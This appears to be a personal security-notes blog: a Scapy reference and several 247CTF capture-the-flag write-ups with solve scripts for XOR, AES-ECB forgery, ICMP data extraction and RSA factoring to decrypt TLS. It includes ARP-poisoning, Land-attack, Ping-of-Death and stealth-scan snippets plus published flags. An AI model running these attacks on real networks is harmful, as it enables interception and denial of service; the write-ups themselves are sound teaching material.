Hello Navi

Tech, Security & Personal Notes

1. TCP Control Flags

Flag Name Function Use Case
SYN Synchronize Establishes connection / Syncs sequence numbers 3-way handshake start
ACK Acknowledge Confirms receipt of data/packets Connection maintenance
FIN Finish Graceful connection termination Closing session
RST Reset Immediate, forced connection termination Error handling / Port closed
PSH Push Forces data to application layer immediately Interactive sessions (SSH)
URG Urgent Marks data as priority Out-of-band data

[!INFO] Practical Insight: PSH vs. Buffering

  • Kernel Mechanism: Linux typically buffers data to optimize throughput.
  • PSH Action: Overrides buffer logic. In CTF/Traffic analysis, frequent PSH flags often indicate real-time command execution (e.g., Reverse Shell traffic).

2. Scapy Layer & Field Reference

IP Layer (IP)

  • src / dst: Source and Destination IP addresses.
  • proto: Protocol number (TCP: 6, UDP: 17, ICMP: 1).
  • ttl: Time to Live (hops).

Transport Layer (TCP / UDP)

  • sport / dport: Source and Destination ports.
  • flags: TCP control bits (e.g., S, SA, RA).
  • seq / ack: Sequence and Acknowledgment numbers (TCP).
  • load: Data payload (Raw or UDP).

Raw Layer (Raw)

The Raw layer contains unparsed binary data.

  • Access: pkt[Raw].load
  • Use: Efficient for binary pattern matching or extracting custom payloads.

3. Probing & Scanning Recipes

Host Discovery (Ping)

1
2
3
4
5
6
7
8
# ARP Ping (Local Network)
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)

# TCP SYN Ping (Bypass ICMP filters)
ans, unans = sr(IP(dst="192.168.1.0/24")/TCP(dport=80, flags="S"))

# UDP Ping (Relies on ICMP Port Unreachable)
ans, unans = sr(IP(dst="192.168.1.*")/UDP(dport=0))

Advanced Port Scanning

1
2
3
4
5
6
7
# ACK Scan (Firewall Rule Detection)
# Response = Port Unfiltered; No Response = Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=[80, 443], flags="A"))

# Xmas Scan (FIN/PSH/URG)
# RST Response = Port Closed; No Response = Open|Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=666, flags="FPU"))

4. Network Security Testing

ARP Cache Poisoning (MitM)

1
2
3
4
5
# Manual ARP Poisoning
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), loop=1, inter=10)

# Scapy Built-in Helper
arp_mitm("target_ip", "gateway_ip")

Protocol Forgery

  • Land Attack: Source and Destination set to target IP.
    1
    send(IP(src=target, dst=target)/TCP(sport=135, dport=135))
  • Ping of Death: Fragmented oversized ICMP packets.
    1
    send(fragment(IP(dst=target)/ICMP()/("X"*60000)))

5. Service Interaction & Sniffing

DNS Queries

1
2
# Query MX Record
ans = sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com", qtype="MX")))

Advanced Traceroute

1
2
3
4
5
# TCP SYN Traceroute
ans, unans = traceroute("target.com", dport=443, flags="S")

# DNS/UDP Traceroute
ans, unans = traceroute("4.2.2.1", l4=UDP()/DNS(qd=DNSQR(qname="example.com")))

Sniffing

1
2
# Sniff 802.11 Beacon frames (Requires Monitor Mode)
sniff(iface="wlan0mon", prn=lambda x: x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%}"))

6. TLS Forensics: Matching Keys to Traffic

When analyzing encrypted PCAPs, you may need to find which private key (from a collection) matches a certificate found in the traffic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
import glob
import os
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from scapy.all import *
from scapy.layers.tls.all import TLS
from scapy.layers.tls.cert import Cert
from scapy.layers.tls.handshake import TLSCertificate

# Configuration
PCAP_FILE = "encrypted.pcap"
KEYS_DIR = "./keys/"

load_layer("tls")

def extract_certs_from_pcap(pcap_path):
"""Extracts TLS certificates from a PCAP file."""
packets = rdpcap(pcap_path)
cert_list = []

for pkt in packets:
if pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
tls_parsed = TLS(raw)
tls_cert_layer = tls_parsed.getlayer(TLSCertificate)
if tls_cert_layer:
for _, x509_wrapper in tls_cert_layer.certs:
cert_list.append(x509_wrapper)
print(f"[+] Extracted Certificate: {x509_wrapper.subject}")
except Exception:
continue
return cert_list

def get_rsa_modulus(cert_obj):
"""Extracts the RSA modulus from a Scapy Cert object."""
try:
if not isinstance(cert_obj, Cert):
return None
pubkey_bytes = cert_obj.pubKey.der
public_key = serialization.load_der_public_key(pubkey_bytes)

if isinstance(public_key, rsa.RSAPublicKey):
return public_key.public_numbers().n
except Exception as e:
print(f"[-] Error parsing public key: {e}")
return None

def find_matching_key(target_modulus, keys_directory):
"""Finds a PEM private key in a directory matching the given modulus."""
print(f"[*] Searching for matching key in {keys_directory}...")

for key_file in glob.glob(os.path.join(keys_directory, "*")):
try:
with open(key_file, "rb") as f:
private_key = serialization.load_pem_private_key(
f.read(), password=None, backend=default_backend()
)

if isinstance(private_key, rsa.RSAPrivateKey):
priv_modulus = private_key.private_numbers().public_numbers.n
if priv_modulus == target_modulus:
return key_file
except Exception:
continue
return None

if __name__ == "__main__":
certs = extract_certs_from_pcap(PCAP_FILE)
if not certs:
print("[-] No certificates found.")
exit(1)

for cert in certs:
modulus = get_rsa_modulus(cert)
if modulus:
match = find_matching_key(modulus, KEYS_DIR)
if match:
print(f"[!] BINGO! Matching key found: {match}")
break
else:
print("[-] No matching keys found.")

Recover a XOR encryption key used to encrypt a JPG image.

Approach

XOR encryption is vulnerable when the plaintext is partially known:

  • JPG files have a known magic header: FF D8 FF E0 00 10 4A 46 49 46 00 01
  • XOR the encrypted header with known plaintext to recover the key
  • Apply the recovered key to decrypt the entire file

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
from itertools import cycle

# JPG file magic header
known_header = bytes.fromhex("FF D8 FF E0 00 10 4A 46 49 46 00 01")

# Read encrypted file
with open("my_magic_bytes.jpg.enc", "rb") as f:
cipher_data = f.read()

# Extract encrypted header
cipher_header = cipher_data[:12]

# Recover XOR key: ciphertext XOR plaintext = key
key = bytes([c ^ p for c, p in zip(cipher_header, known_header)])
print(f"[*] Calculated Key: {key.hex().upper()}")

# Decrypt entire file by applying repeating key
decrypted_data = bytes([c ^ k for c, k in zip(cipher_data, cycle(key))])

# Save decrypted image
with open("flag.jpg", "wb") as f:
f.write(decrypted_data)

print("[*] Decrypted! Check flag.jpg")

Key Insight

When XOR encrypts known file formats (JPG, PNG, ZIP, etc.), the magic bytes provide enough information to recover the key without brute force.

Flag

247CTF{ca4e3b7f913ca7ca8f33fb0504f2947f}

An encryption service encrypts plaintext, but blocks encryption of the impossible_flag_user string. Exploit the ECB mode implementation to forge an encrypted token that decrypts to this forbidden value.

Vulnerability

The service uses AES in ECB mode, which has critical weakness: identical plaintext blocks produce identical ciphertext blocks. By crafting specific payloads, we can:

  1. Encrypt the first 16 bytes of the target string
  2. Encrypt padding-aligned subsequent bytes
  3. Concatenate the cipher blocks to forge a valid token

Exploit Strategy

The target user is: impossible_flag_user (23 bytes)

  1. Block 1: Encrypt impossible_flag_ (16 bytes) → get first cipher block
  2. Block 2: Encrypt user + PKCS#7 padding → get second cipher block
  3. Combine: Concatenate blocks to form forged token → decrypt equals target

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import binascii
import requests

BASE_URL = "https://2c5a74f7cc3f1fdf.247ctf.com"

def solve():
# Block 1: First 16 bytes of target
part1_plain = b"impossible_flag_"
payload1 = binascii.hexlify(part1_plain).decode()
r1 = requests.get(f"{BASE_URL}/encrypt?user={payload1}")
cipher_part1 = r1.text[:32] # 32 hex chars = 16 bytes
print(f"[*] Block 1 Cipher: {cipher_part1}")

# Block 2: Remaining 7 bytes + PKCS#7 padding to 16 bytes
padding_len = 16 - (23 % 16) # target is 23 bytes, part 2 is 7 bytes. 16 - 7 = 9.
part2_plain = b"user" + bytes([padding_len] * padding_len)
payload2 = binascii.hexlify(part2_plain).decode()
r2 = requests.get(f"{BASE_URL}/encrypt?user={payload2}")
cipher_part2 = r2.text[:32]
print(f"[*] Block 2 Cipher: {cipher_part2}")

# Forge token by concatenating blocks
final_token = cipher_part1 + cipher_part2
print(f"[*] Forged Token: {final_token}")

# Get flag
r_flag = requests.get(f"{BASE_URL}/get_flag?user={final_token}")
print(f"\n---> FLAG: {r_flag.text}")

if __name__ == "__main__":
solve()

Flag

247CTF{ddd01e396dc1965c3fcf943f3968aa39}

Socket challenge requiring automation to solve 500 arithmetic problems programmatically. Use Python with pwntools to interface with the remote service and automate the solution.

Key Considerations

  • Library: pwntools for socket communication
  • Custom delimiter: Uses \r\n instead of standard \n
  • Approach: Parse math expressions dynamically and compute answers

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
import pwn

HOST = "7a3875d00fa5d462.247ctf.com"
PORT = 50337

pwn.context.log_level = "info"
pwn.tube.newline = b"\r\n"


def solve_challenge():
conn = None
try:
conn = pwn.remote(HOST, PORT)

for i in range(500):
conn.recvuntil(b"answer to ")
question_line = conn.recvline().decode().strip()
expression = question_line.replace("?", "")
result = int(eval(expression))
conn.sendline(str(result).encode())
pwn.log.info(f"Progress: [{i + 1}/500] Solved: {expression} = {result}")

pwn.log.success("500 problems solved! Waiting for flag...")
conn.interactive()

except Exception as e:
pwn.log.error(f"An error occurred: {e}")

finally:
if conn:
pwn.log.info("Connection closed.")
conn.close()


if __name__ == "__main__":
solve_challenge()

Execution Output

1
2
3
4
5
6
7
8
❯ python tcp_auto.py
[+] Opening connection to 7a3875d00fa5d462.247ctf.com on port 50337: Done
...
[*] Progress: [499/500] Solved: 221 + 474 = 695
[*] Progress: [500/500] Solved: 4 + 449 = 453
[+] 500 problems solved! Waiting for flag...
[*] Switching to interactive mode
247CTF{flag_here}

Multi-path TCP (MPTCP) challenge: data is spread across multiple subflows. Task is to combine the requests and recover the flag.

Approach

  1. Merge PCAP files - Combine three MPTCP flow captures
  2. Extract TCP streams - Reconstruct the data from merged flows
  3. Analyze extracted data - Look for embedded archives and artifacts
  4. Extract and inspect - Check for flag in extracted files

Solution Steps

1
2
3
4
5
6
7
8
9
10
11
# 1. Merge the three PCAP files
mergecap -w merged_chall.pcap chall-i1.pcap chall-i2.pcap chall-i3.pcap

# 2. Extract TCP flows
tcpflow -r merged_chall.pcap -o ./output_dir

# 3. Concatenate flow streams
cat a b c > a

# 4. Extract embedded archive with binwalk
binwalk -eM a

Key Findings

  • Identified ZIP archive at offset 0x78145B containing 11 files
  • Extracted files include multiple JPEGs: Flag.jpg, Here.jpg, Is.jpg, NOT_A_FLAG.jpg
  • Flag is embedded in one of the extracted images
247CTF{850bb436f0eecad0205eebb6c9b7b6c6}

Find a number that is one more than itself. Specifically, a number where n > 0 && n > (n + 1).

Vulnerability

Integer overflow! In languages with fixed-size integers, the maximum value when incremented wraps around to the minimum negative value.

For a 32-bit signed integer:

  • Maximum value: 2147483647
  • 2147483647 + 1 overflows to: -2147483648 (negative)

So the condition n > (n + 1) becomes true.

Solution

1
2
3
nc 287ab557f3f29afd.247ctf.com 50088
2147483647
247CTF{********************************}

Simply send the maximum 32-bit signed integer value.

247CTF{38f5daf742a4b3d74b3a7575bf4d7d1e}

Identify the flag hidden within error messages of ICMP traffic captured in a PCAP file.

Vulnerability

ICMP packets (ping replies) can carry data in their payload. The flag is exfiltrated through ICMP echo replies. ICMP is often overlooked as a potential data exfiltration channel.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from scapy.all import rdpcap
from scapy.layers.inet import ICMP

packets = rdpcap("error_reporting.pcap")
flag = b""

for p in packets:
# ICMP type 0 = Echo Reply (responses to ping requests)
if p.haslayer(ICMP) and p[ICMP].type == 0 and p.haslayer("Raw"):
flag += p["Raw"].load

with open("flag.jpg", "wb") as f:
f.write(flag)

print("[+] Extracted data saved to flag.jpg")

The extracted data is a JPG image containing the flag.

247CTF{580e6d627470448064fa7bffd6284ddf}

Recover the private key used to download the flag over a TLS encrypted connection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ tshark -r multiplication_tables.pcap
1 0.000000 192.168.10.111 → 192.168.10.159 TCP 66 17865 → 8443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
2 0.000051 192.168.10.159 → 192.168.10.111 TCP 66 8443 → 17865 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1460 SACK_PERM WS=128
3 0.000319 192.168.10.111 → 192.168.10.159 TCP 60 17865 → 8443 [ACK] Seq=1 Ack=1 Win=1051136 Len=0
4 0.000620 192.168.10.111 → 192.168.10.159 TLSv1 571 Client Hello
5 0.000640 192.168.10.159 → 192.168.10.111 TCP 54 8443 → 17865 [ACK] Seq=1 Ack=518 Win=30336 Len=0
6 0.000815 192.168.10.159 → 192.168.10.111 TLSv1.2 756 Server Hello, Certificate, Server Hello Done
7 0.001210 192.168.10.111 → 192.168.10.159 TLSv1.2 61 Alert (Level: Fatal, Description: Certificate Unknown)
8 0.001328 192.168.10.111 → 192.168.10.159 TCP 60 17865 → 8443 [FIN, ACK] Seq=525 Ack=703 Win=1050368 Len=0
9 0.001398 192.168.10.159 → 192.168.10.111 TCP 54 8443 → 17865 [FIN, ACK] Seq=703 Ack=526 Win=30336 Len=0
10 0.001542 192.168.10.111 → 192.168.10.159 TCP 60 17865 → 8443 [ACK] Seq=526 Ack=704 Win=1050368 Len=0
11 0.006428 192.168.10.111 → 192.168.10.159 TCP 66 17866 → 8443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
12 0.006479 192.168.10.159 → 192.168.10.111 TCP 66 8443 → 17866 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1460 SACK_PERM WS=128
13 0.006706 192.168.10.111 → 192.168.10.159 TCP 60 17866 → 8443 [ACK] Seq=1 Ack=1 Win=1051136 Len=0
14 0.007056 192.168.10.111 → 192.168.10.159 TLSv1 571 Client Hello
15 0.007081 192.168.10.159 → 192.168.10.111 TCP 54 8443 → 17866 [ACK] Seq=1 Ack=518 Win=30336 Len=0
16 0.007274 192.168.10.159 → 192.168.10.111 TLSv1.2 756 Server Hello, Certificate, Server Hello Done
17 0.007777 192.168.10.111 → 192.168.10.159 TLSv1.2 244 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
18 0.008344 192.168.10.159 → 192.168.10.111 TLSv1.2 280 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message
19 0.008984 192.168.10.111 → 192.168.10.159 TLSv1.2 654 Application Data
20 0.009527 192.168.10.159 → 192.168.10.111 TLSv1.2 100 Application Data
21 0.010039 192.168.10.159 → 192.168.10.111 TLSv1.2 446 Application Data, Application Data, Application Data, Application Data, Application Data, Application Data, Application Data
22 0.010293 192.168.10.111 → 192.168.10.159 TCP 60 17866 → 8443 [ACK] Seq=1308 Ack=1368 Win=1049600 Len=0
23 0.012247 192.168.10.111 → 192.168.10.159 TCP 60 17866 → 8443 [FIN, ACK] Seq=1308 Ack=1368 Win=1049600 Len=0
24 0.012278 192.168.10.159 → 192.168.10.111 TCP 54 8443 → 17866 [ACK] Seq=1368 Ack=1309 Win=32640 Len=0

Vulnerability

The TLS certificate is transmitted in the handshake and reveals the public key. If the RSA modulus has been factored previously, the private key can be recovered.

Solution

Step 1: Extract the Certificate from PCAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
import glob
import os

from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateKey, RSAPublicKey
from scapy import dadict
from scapy.all import *
from scapy.all import Raw, load_layer, rdpcap
from scapy.layers.inet import IP, TCP
from scapy.layers.tls.all import TLS
from scapy.layers.tls.cert import Cert
from scapy.layers.tls.handshake import TLSCertificate

PCAP_FILE = "/home/kita/Downloads/multiplication_tables.pcap"
KEYS = "/home/kita/Downloads/keys/"

load_layer("tls")


def find_cert(pcap_path):
packets = rdpcap(pcap_path)
cert_list = []

for pkt in packets:
if pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
tls_parsed = TLS(raw)
tls_cert_layer = tls_parsed.getlayer(TLSCertificate)
if tls_cert_layer:
print("[-] Found TLS Certificate.")
cert = tls_cert_layer.certs
for _, x509_wrapper in cert:
cert_list.append(x509_wrapper)
print("[-] Extracted a TLS Certificate.")
else:
print("[-] Found TLS packet.")
except Exception as e:
print(f"[-] Error: {e}")
continue
return cert_list


def find_matching_private_key(target_modulus: int, keys_directory: str) -> str | None:
print(f"[*] Searching for matching private key in {keys_directory} ...")

for key_file in glob(os.path.join(keys_directory, "*")):
try:
with open(key_file, "rb") as f:
private_key = serialization.load_pem_private_key(
f.read(), password=None, backend=default_backend()
)

# 类型守卫
if isinstance(private_key, rsa.RSAPrivateKey):
priv_modulus = private_key.private_numbers().public_numbers.n
if priv_modulus == target_modulus:
print(f"[!] BINGO! Matching key found: {key_file}")
return key_file
except Exception:
pass # 静默忽略无法解析的非私钥文件

print("[-] No matching key found.")
return None


def get_modulus(cert_obj):
assert isinstance(cert_obj, Cert)
pubkey_bytes = cert_obj.pubKey.der

try:
public_key = serialization.load_der_public_key(pubkey_bytes)

if not isinstance(public_key, rsa.RSAPublicKey):
print("[-] Not an RSA public key.")
return None

# 3. 提取 Modulus (N)
return public_key.public_numbers().n

except ValueError as e:
print(f"[-] Failed to parse public key: {e}")
return None


def get_exponent(cert_obj):
assert isinstance(cert_obj, Cert)
pubkey_bytes = cert_obj.pubKey.der

try:
public_key = serialization.load_der_public_key(pubkey_bytes)

if not isinstance(public_key, rsa.RSAPublicKey):
print("[-] Not an RSA public key.")
return None

# 3. 提取 Exponent (e)
return public_key.public_numbers().e

except ValueError as e:
print(f"[-] Failed to parse public key: {e}")
return None


def check_pcap(pcap_path):
packets = rdpcap(pcap_path)
packets.show()
for pkt in packets:
pkt.show()
if pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
print(raw.decode())
except Exception as e:
print(f"[-] Error: {e}")
continue


if __name__ == "__main__":
cert_list = find_cert(PCAP_FILE)
print(cert_list)
for cert_obj in cert_list:
modulus = get_modulus(cert_obj)
exponent = get_exponent(cert_obj)
print(modulus)
print(exponent)

# if modulus:
# key_path = find_matching_private_key(modulus, KEYS)
# print(key_path)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[-] Found TLS packet.
[-] Found TLS Certificate.
[-] Extracted a TLS Certificate.
[-] Found TLS packet.
[-] Found TLS packet.
[-] Found TLS Certificate.
[-] Extracted a TLS Certificate.
[-] Found TLS packet.
[-] Found TLS packet.
[-] Found TLS packet.
[-] Found TLS packet.
[-] Found TLS packet.
[[X.509 Cert. Subject:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1, Issuer:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1], [X.509 Cert. Subject:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1, Issuer:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1]]
150140677816147665104219084736753210294673482912091623639530125054379822052662632476220418069658373540642718111649733795871151252404840997598533258881471779382418788567883517594075575444723340506445280678466322096113052425236787558022472785685579744210805862764465110689084328509029822107730392445215781001579
65537
150140677816147665104219084736753210294673482912091623639530125054379822052662632476220418069658373540642718111649733795871151252404840997598533258881471779382418788567883517594075575444723340506445280678466322096113052425236787558022472785685579744210805862764465110689084328509029822107730392445215781001579
65537

Step 2: Factor the Modulus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
import json
import sys
import urllib.error
import urllib.request


def query_factordb(number: str):
url = f"http://factordb.com/api?query={number}"
headers = {"User-Agent": "ArchLinux-PowerUser/1.0"}

try:
req = urllib.request.Request(url, headers=headers)
with urllib.request.urlopen(req) as response:
data = json.loads(response.read().decode("utf-8"))

status = data.get("status", "Unknown")
factors = data.get("factors", [])

print(f"[*] Target : {number}")
print(f"[*] Status : {status}")

if factors:
result = " * ".join([f"{base}^{exp}" for base, exp in factors])
print(f"[*] Factors: {result}")
else:
print("[!] No factors returned.")

except urllib.error.URLError as e:
print(f"[!] Network Error: {e.reason}")
except ValueError:
print("[!] JSON parsing failed. Did FactorDB change their API?")


if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: ./fdb.py <number>")
sys.exit(1)

query_factordb(sys.argv[1])
1
2
3
4
❯ python factor.py 150140677816147665104219084736753210294673482912091623639530125054379822052662632476220418069658373540642718111649733795871151252404840997598533258881471779382418788567883517594075575444723340506445280678466322096113052425236787558022472785685579744210805862764465110689084328509029822107730392445215781001579
[*] Target : 150140677816147665104219084736753210294673482912091623639530125054379822052662632476220418069658373540642718111649733795871151252404840997598533258881471779382418788567883517594075575444723340506445280678466322096113052425236787558022472785685579744210805862764465110689084328509029822107730392445215781001579
[*] Status : FF
[*] Factors: 11443069641880629381891581986018548808448150675612774441982091938562801238612124445967724562059877882869924090566492089872161438646198325341704520958011761^1 * 13120664517031861557695339067275706831429518210212092859212127044658713747906482358428924486662467583986570766086011893335839637764790393666582606794678939^1

Step 3: Compute the Private Key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.PublicKey import RSA

p = 11443069641880629381891581986018548808448150675612774441982091938562801238612124445967724562059877882869924090566492089872161438646198325341704520958011761
q = 13120664517031861557695339067275706831429518210212092859212127044658713747906482358428924486662467583986570766086011893335839637764790393666582606794678939
e = 65537

n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

key = RSA.construct((n, e, d, p, q))
with open("private_key.pem", "wb") as f:
f.write(key.export_key())
print("Key forged successfully.")

Step 4: Import and Use in Wireshark

Import the generated private key into Wireshark to decrypt the TLS traffic and recover the flag.

Key Insight

This challenge demonstrates why factorization of RSA moduli is critical—if a modulus can be factored, the entire RSA cryptosystem is broken for that key pair. FactorDB maintains a public database of previously factored numbers.

247CTF{ca0289c6804acd4812ee8f375515245e}

A hidden painting is encoded as coordinates. Connect the dots to reveal the flag.

Vulnerability

Steganography through coordinate encoding. Data is hidden in plain sight as hex coordinates.

Solution

The challenge provides a file with hex-encoded coordinates:

1
2
3
4
0x4b 0x9d0
0x44 0x974
0x33 0x92
...

Each line contains X and Y coordinates in hexadecimal format. Use Python to plot them:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import matplotlib.pyplot as plt

x_coords = []
y_coords = []

with open("secret_map.txt", "r") as f:
for line in f:
line = line.strip()
if line:
parts = line.split()
x_coords.append(int(parts[0], 16))
y_coords.append(-int(parts[1], 16))

plt.scatter(x_coords, y_coords, s=1, color="black")
plt.axis("equal")
plt.axis("off")
plt.show()

When plotted, the image containing the flag.

Key Insight

Encoding data as coordinates is a simple steganographic technique. Visualizing data reveals hidden patterns that text alone cannot convey.

247CTF{0c895fb57954df7f83756e1f7718e661}

Given many private keys, identify which one corresponds to a TLS connection captured in a PCAP file.

Vulnerability

The TLS certificate in the handshake reveals the public key (modulus). By comparing the public key’s modulus with all available private keys, the correct one can be identified.

Solution

Step 1: Extract the Certificate from PCAP

Analyze the PCAP file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
tshark -r encrypted.pcap
1 0.000000 172.17.0.3 → 172.17.0.2 TCP 74 39618 → 8443 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM TSval=1540683717 TSecr=0 WS=128
2 0.000020 172.17.0.2 → 172.17.0.3 TCP 74 8443 → 39618 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM TSval=2839138450 TSecr=1540683717 WS=128
3 0.000053 172.17.0.3 → 172.17.0.2 TCP 66 39618 → 8443 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=1540683717 TSecr=2839138450
4 0.011354 172.17.0.3 → 172.17.0.2 TLSv1 186 Client Hello
5 0.011372 172.17.0.2 → 172.17.0.3 TCP 66 8443 → 39618 [ACK] Seq=1 Ack=121 Win=29056 Len=0 TSval=2839138461 TSecr=1540683728
6 0.011884 172.17.0.2 → 172.17.0.3 TLSv1.2 1046 Server Hello, Certificate, Server Hello Done
7 0.011928 172.17.0.3 → 172.17.0.2 TCP 66 39618 → 8443 [ACK] Seq=121 Ack=981 Win=31232 Len=0 TSval=1540683729 TSecr=2839138461
8 0.012436 172.17.0.3 → 172.17.0.2 TLSv1.2 384 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
9 0.015465 172.17.0.2 → 172.17.0.3 TLSv1.2 117 Change Cipher Spec, Encrypted Handshake Message
10 0.015676 172.17.0.3 → 172.17.0.2 TLSv1.2 289 Application Data
11 0.016161 172.17.0.2 → 172.17.0.3 TLSv1.2 145 Application Data, Encrypted Alert
12 0.016381 172.17.0.3 → 172.17.0.2 TLSv1.2 97 Encrypted Alert
13 0.016847 172.17.0.2 → 172.17.0.3 TCP 66 8443 → 39618 [FIN, ACK] Seq=1111 Ack=693 Win=31104 Len=0 TSval=2839138466 TSecr=1540683733
14 0.017436 172.17.0.3 → 172.17.0.2 TCP 66 39618 → 8443 [FIN, ACK] Seq=693 Ack=1112 Win=31232 Len=0 TSval=1540683734 TSecr=2839138466
15 0.017446 172.17.0.2 → 172.17.0.3 TCP 66 8443 → 39618 [ACK] Seq=1112 Ack=694 Win=31104 Len=0 TSval=2839138467 TSecr=1540683734

sudo python scrapy2.py
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https S
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 SA
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https A
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 A
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https A
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 FA
Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https FA
Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 A
None

In the TLSv1.2 handshake, the server sends its X.509 certificate containing the RSA public key. In RSA, the public and private keys share the same modulus (N).

Step 3: Match the Modulus Against Available Keys

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python3
import glob
import os

from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateKey, RSAPublicKey
from scapy import dadict
from scapy.all import *
from scapy.all import Raw, load_layer, rdpcap
from scapy.layers.inet import IP, TCP
from scapy.layers.tls.all import TLS
from scapy.layers.tls.cert import Cert
from scapy.layers.tls.handshake import TLSCertificate

PCAP_FILE = "/home/kita/Downloads/encrypted.pcap"
KEYS = "/home/kita/Downloads/keys/"

load_layer("tls")


def find_cert(pcap_path):
packets = rdpcap(pcap_path)
cert_list = []

for pkt in packets:
if pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
tls_parsed = TLS(raw)
tls_cert_layer = tls_parsed.getlayer(TLSCertificate)
if tls_cert_layer:
print("[-] Found TLS Certificate.")
cert = tls_cert_layer.certs
for _, x509_wrapper in cert:
cert_list.append(x509_wrapper)
print("[-] Extracted a TLS Certificate.")
else:
print("[-] Found TLS packet.")
except Exception as e:
print(f"[-] Error: {e}")
continue
return cert_list


def find_matching_private_key(target_modulus: int, keys_directory: str) -> str | None:
print(f"[*] Searching for matching private key in {keys_directory} ...")

